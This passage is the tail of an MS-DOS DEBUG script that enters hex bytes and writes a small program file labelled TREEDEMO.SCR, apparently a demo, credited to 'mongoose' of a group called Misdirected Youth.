E 10E0 2A 06 E5 88 AB E9 CC C8 74 36 0E 56 6F D9 CD C8 
E 10F0 53 C8 57 CF 10 CD AB EB 44 CE 84 57 1A D6 2A D5 
E 1100 CA 25 88 D1 1E 48 5E 0C DF F5 B7 5B 89 8C FB 07 
E 1110 0B 11 40 3D F7 0E 6A 19 15 EB 20 02 10 A1 53 5D 
E 1120 AC 38 CC 3C 84 1F 0B D9 36 7E 64 52 66 BF D1 22 
E 1130 AA B9 3A 54 C1 3B 56 19 6D D0 B6 09 93 F9 D9 A0 
E 1140 BC 73 10 A7 23 4E E3 44 D5 F7 3D 29 C7 FD 23 60 
E 1150 18 99 76 15 BA 24 84 47 74 C9 7B 5B D9 1D 
RCX
105E
W
Q
────[TREEDEMO.SCR]───[END]─────────────────────────────────────────────────────

                                     (c) mongoose, soldier of Misdirected Youth